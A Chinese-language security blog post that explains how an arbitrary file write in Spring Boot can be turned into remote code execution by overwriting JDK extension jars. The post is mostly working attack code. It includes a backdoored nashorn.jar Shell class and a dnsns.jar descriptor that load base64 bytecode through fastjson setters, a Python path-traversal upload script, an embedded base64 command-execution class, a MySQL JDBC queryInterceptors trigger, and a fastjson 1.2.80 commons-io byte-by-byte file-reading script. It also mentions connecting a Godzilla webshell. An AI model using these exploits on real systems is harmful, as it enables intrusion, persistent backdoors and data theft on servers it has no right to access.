Springboot任意文件写入RCE探索#

springboot环境下的任意文件写入,在pom.xml中没有引入解析jsp的情况下,只能依靠上传jar包或class字节码文件来进行RCE,大多是为了权限维持。而这篇文章我想讲的并不是权限维持,而是getshell。如果想getshell,就必须知道服务器jdk的绝对路径和服务启动的绝对路径,这一点就足够让师傅们挠头了,还不说需要一个任意文件写入漏洞。

charsets.jar#

charsets.jar应该都听说过,核心原理是覆盖JAVA_HOME/jre/lib/charsets.jar,由于懒加载机制,当项目代码中没有调用到charsets.jar相关类时,在项目启动时jvm不会主动加载它。所以可以先用恶意jar包覆盖jdk目录下的charsets.jar,然后在header头中添加Accept: text/html;charset=GBK,此时jvm发现了新的字符编码,就会去jdk目录加载charsets.jar,从而触发恶意代码。但如果项目中使用到了charsets.jar相关类或调用了相关方法,这种方法就失效了

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

nashorn.jar#

这个jar包RCE很特殊,google了下都没有找到相关的利用文章,只有这篇文章提到了,所以便来探索下可行性

https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/

这个jar包的RCE和charsets.jar的原理类似,都是通过jvm懒加载机制来加载我们的恶意代码,但是触发方式有所变化,nashorn.jar可以通过fastjson来触发(autotype关闭的情况下)。

而fastjson高版本的autotype都是默认关闭的,我们无法调用白名单外的类的任意setter或getter。

随意写一个User类,这里用fastjson1.2.83版本,直接尝试解析是会报错的

PoC = "{\"@type\":\"fastjsonGadget.User\",\"name\":\"123\", \"age\":\"23\"}\n";
System.out.println(JSON.parseObject(PoC));

image-20260210163600195

但@JSONType注解可以绕过这个限制,此时我们在static静态代码块加入恶意代码

package fastjsonGadget;

import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class User {
    private String name;
    private int age;

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
    public User() {
        System.out.println("调用了无参构造方法");
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("调用了有参构造方法");
    }
}

image-20260210164006459

可以观察到这里还调用了无参构造函数,那么我们也可以把恶意代码写入到无参构造函数内,同样能实现RCE

但是它们都共同有一个缺陷,就是一旦使用fastjson触发加载进内存后,就不能再修改这个jar包了,内容固定了,之后如果想更改字节码就必须重启服务。所以我们还需一个可以传参,然后加载任意字节码的方案。

提到fastjson,很难不想到setter和getter,它们能够接收参数,并且fastjson在实例化类时会自动调用,所以可以利用这一点来改良代码。

构造恶意nashorn.jar包,需要替换nashorn\jdk\nashorn\tools\Shell.class

构造步骤#

1.备份并解压正常的nashorn.jar包,位于JAVA_HOME/jre/lib/ext/

2.在nashorn\jdk\nashorn\tools\下创建Shell.java,代码如下,这里就直接用这位师傅的代码来修改一下了

https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/

3.将fastjson-1.2.83.jar和正常的nashorn.jar包放在解压出来的nashorn目录下,用于编译Shell.java

nashorn
	--jdk
	--META-INF
	--fastjson-1.2.83.jar
	--nashorn.jar

4.编译Shell.java

windows

javac -cp "fastjson-1.2.83.jar;nashorn.jar" jdk/nashorn/tools/Shell.java

linux

javac -cp "fastjson-1.2.83.jar:nashorn.jar" jdk/nashorn/tools/Shell.java

没有报错就算成功

5.将恶意Shell.class重新打包进nashorn.jar

jar -uvf nashorn.jar jdk/nashorn/tools/Shell.class
package jdk.nashorn.tools;

import java.lang.reflect.Method;
import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;
import java.util.ResourceBundle;
import jdk.nashorn.api.scripting.NashornException;
import jdk.nashorn.internal.codegen.Compiler;
import jdk.nashorn.internal.ir.FunctionNode;
import jdk.nashorn.internal.ir.debug.ASTWriter;
import jdk.nashorn.internal.ir.debug.PrintVisitor;
import jdk.nashorn.internal.objects.Global;
import jdk.nashorn.internal.parser.Parser;
import jdk.nashorn.internal.runtime.Context;
import jdk.nashorn.internal.runtime.ErrorManager;
import jdk.nashorn.internal.runtime.JSType;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.ScriptFunction;
import jdk.nashorn.internal.runtime.ScriptRuntime;
import jdk.nashorn.internal.runtime.ScriptingFunctions;
import jdk.nashorn.internal.runtime.Source;
import jdk.nashorn.internal.runtime.options.Options;

@JSONType
public class Shell {
    private static final String MESSAGE_RESOURCE = "jdk.nashorn.tools.resources.Shell";

    public void setJavaCode(String javaCode) {
        try {
            Class clazz = defineCls(javaCode);
            if (clazz != null) {
                clazz.newInstance();
            }
        } catch (Exception e) {}
    }

    public static Class defineCls(String message) {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            byte[] clazzByte = base64Decode(message);

            Class aClass = (Class) defineClass.invoke(
                    Thread.currentThread().getContextClassLoader(), 
                    clazzByte, 0, clazzByte.length
            );
            return aClass;
        } catch (Throwable var5) {
            var5.printStackTrace();
        }
        return null;
    }

    public static byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class)
                    .invoke(clazz.newInstance(), str);
        } catch (Exception var4) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class)
                    .invoke(decoder, str);
        }
    }
}

最后使用fastjson触发即可

{"@type":"jdk.nashorn.tools.Shell","javaCode":"xxx"}

实验#

docker启动服务

image-20260211093125686

用python上传恶意jar包,覆盖JAVA_HOME/jre/lib/ext/nashorn.jar

import requests

url = "http://192.168.239.139:8081/upload"

#proxy = {'http': 'http://127.0.0.1:8080'}

target_path = "../../usr/lib/jvm/jdk1.8.0_201/jre/lib/ext/nashorn.jar"

with open(r"C:\Users\13903\Desktop\nashorn\nashorn.jar", "rb") as f:
    files = {
        'file': (target_path, f, 'application/octet-stream')
    }
    response = requests.post(url, files=files)

print(response.text)

上传成功后,访问/json

{"@type":"jdk.nashorn.tools.Shell","javaCode":"xxx"}

image-20260211094527656

哥斯拉连接

image-20260211094949221

dnsns.jar#

dnsns.jar也是位于jre/lib/ext路径下的文件,其核心原理与 nashorn.jar 类似:通过文件上传漏洞替换或污染这个扩展包中的类,再通过 Fastjson 反序列化触发该类的setter,从而实现 RCE。

由于利用方式相同,这里就不再过多赘述了,讲一下构造步骤即可

构造步骤#

1.备份并解压正常的dnsns.jar包,位于JAVA_HOME/jre/lib/ext/

2.在dnsns\sun\net\spi\nameservice\dns\下创建DNSNameServiceDescriptor.java,代码如下

package sun.net.spi.nameservice.dns;

import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;
import java.lang.reflect.Method;

@JSONType
public class DNSNameServiceDescriptor implements NameServiceDescriptor {

    public void setJavaCode(String javaCode) {
        try {
            Class clazz = defineCls(javaCode);
            if (clazz != null) {
                clazz.newInstance();
            }
        } catch (Exception e) {}
    }

    public static Class defineCls(String message) {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            byte[] clazzByte = base64Decode(message);

            return (Class) defineClass.invoke(
                    Thread.currentThread().getContextClassLoader(), 
                    clazzByte, 0, clazzByte.length
            );
        } catch (Throwable var5) {
            var5.printStackTrace();
        }
        return null;
    }

    public static byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception var4) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

    @Override
    public NameService createNameService() { return null; }
    @Override
    public String getType() { return "dns"; }
    @Override
    public String getProviderName() { return "sun"; }
}

3.将fastjson-1.2.83.jar和正常的dnsns.jar包放在解压出来的dnsns目录下,用于编译DNSNameServiceDescriptor.java

dnsns
	--sun
	--META-INF
	--fastjson-1.2.83.jar
	--dnsns.jar

4.编译DNSNameServiceDescriptor.java

javac -cp "fastjson-1.2.83.jar" sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.java

5.将恶意Shell.class重新打包进dnsns.jar

jar -uvf dnsns.jar sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class

最后同样fastjson触发

{"@type":"sun.net.spi.nameservice.dns.DNSNameServiceDescriptor","javaCode":"xxx"}

参考文章

https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/

https://forum.butian.net/share/4715

其他触发方式#

Mysql JDBC#

mysql jdbc连接字符串中有一个名为queryInterceptors的参数,在5.x的版本中叫statementInterceptors,不过一般都是queryInterceptors,碰到的都是8.0.20以上的不存在反序列化的版本。毕竟谁会摆着jdbc反序列化不用,去用这个RCE呢对吧。

在正常的jdbcurl中,queryInterceptors参数的值都是mysql的驱动程序,jdbc会识别这个参数,然后将其实例化,这就刚好满足了我们的要求,因为上面三种jar包的触发方式就是需要实例化来进行恶意类的加载。

这里用static静态代码块来触发,然后编译,压入jar包,覆盖jar包

package sun.net.spi.nameservice.dns;

import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;
import java.lang.reflect.Method;

@JSONType
public class DNSNameServiceDescriptor implements NameServiceDescriptor {
    private static String javaCode = "yv66vgAAADIAQAEAVG9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL3V0aWwvSVNPODYwMURhdGVGb3JtYXRkOGFiY2UzY2QzMTU0ODUyYWI3NDJjZjI3MWJhODNiNQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=";

    static {
        try {
            Class clazz = defineCls(javaCode);
            if (clazz != null) {
                clazz.newInstance();
            }
        } catch (Exception e) {}
    }

    public static Class defineCls(String message) {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            byte[] clazzByte = base64Decode(message);

            return (Class) defineClass.invoke(
                    Thread.currentThread().getContextClassLoader(), 
                    clazzByte, 0, clazzByte.length
            );
        } catch (Throwable var5) {
            var5.printStackTrace();
        }
        return null;
    }

    public static byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception var4) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

    @Override
    public NameService createNameService() { return null; }
    @Override
    public String getType() { return "dns"; }
    @Override
    public String getProviderName() { return "sun"; }
}

jdbcurl

jdbc:mysql://127.0.0.1:3308/test?queryInterceptors=sun.net.spi.nameservice.dns.DNSNameServiceDescriptor&user=d53e58d

image-20260212143947821

jdbcurl的触发方式缺点就是无法传递参数,只有一次机会,其他的像jackson也可以,但是需要开启enableDefaultTyping(),目前还没有遇到过,之后遇到再来补上吧

fastjson1.2.80 io链#

https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

这个方法需要三个条件

1.fastjson<=1.2.80

2.存在common-io依赖

3.知道tomcat-docbase路径

import requests

# 建议将变量名 bytes 改为 bytes_str,因为 bytes 是 Python 3 的内置关键字
url = 'http://192.168.239.138:8081/json'

proxy = {'http': 'http://127.0.0.1:8080'}


def getdata(byte_seq):
    # 使用 f-string 更加直观(Python 3.6+)
    # 注意:JSON 中的大括号需要双写 {{ }} 来转义
    data = f'''{{
  "a": {{
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {{
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {{
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "file:///tmp/"
        }},
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      }},
      "boms": [
        {{
          "charsetName": "UTF-8",
          "bytes": [{byte_seq}]
        }}
      ]
    }},
    "boms": [
      {{
        "charsetName": "UTF-8",
        "bytes": [36]
      }}
    ]
  }},
  "b": {{"$ref":"$.a.delegate"}}
}}'''
    return data


header = {}
cookie = {}
flag = ''
bytes_str = ''

for ii in range(1, 1000):
    for i in range(0, 257):
        if i == 256:
            # 使用 with 语句自动管理文件关闭
            with open("1.txt", "w", encoding="utf-8") as f:
                f.write(flag)
            # Python 3 中 flag 已经是 unicode 字符串,不需要 decode
            print(f"最终结果: {flag}")
            exit()

        current_byte_try = bytes_str + str(i) + ','
        try:
            # 这里的 data 参数会将字典转为 form-urlencoded 格式发送
            r = requests.post(url=url, data=getdata(current_byte_try))

            # 判断逻辑保持不变
            if "bytes" in r.text:
                bytes_str = bytes_str + str(i) + ','
                print(f"当前字节序列: {bytes_str}")
                flag = flag + chr(i)
                break
        except Exception as e:
            print(f"请求发生错误: {e}")
            break